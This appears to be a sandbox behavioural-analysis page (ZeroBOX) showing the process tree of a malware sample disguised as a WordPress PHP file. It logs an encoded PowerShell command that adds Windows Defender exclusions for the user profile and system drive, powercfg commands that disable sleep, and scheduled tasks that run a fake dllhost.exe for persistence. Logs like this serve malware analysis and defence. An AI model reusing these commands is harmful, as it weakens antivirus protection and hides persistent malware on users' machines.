| ZeroBOX

class-wp-image-editors.php "C:\Users\test22\AppData\Local\Temp\class-wp-image-editors.php"
652
- AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2076
  - AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    53812
    - cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEwATQBVAGkAYgB0AGMAaQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEQANgBtAG0AMABFAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBqAGoAVQBNAFYATwAyAEsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAQwBLAHAATABVAGYAUgB1ACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
      53980
      - powershell.exe powershell -EncodedCommand "PAAjAEwATQBVAGkAYgB0AGMAaQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEQANgBtAG0AMABFAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBqAGoAVQBNAFYATwAyAEsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAQwBLAHAATABVAGYAUgB1ACMAPgA="
        54036
      - powercfg.exe powercfg /x -hibernate-timeout-ac 0
        54124
      - powercfg.exe powercfg /x -hibernate-timeout-dc 0
        54212
      - powercfg.exe powercfg /x -standby-timeout-ac 0
        53264
      - powercfg.exe powercfg /x -standby-timeout-dc 0
        53308
      - powercfg.exe powercfg /hibernate off
        53360
    - cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
      53416
      - schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        53536
    - cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk1084" /TR "C:\ProgramData\Dllhost\dllhost.exe"
      53460
      - schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk1084" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        53556

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents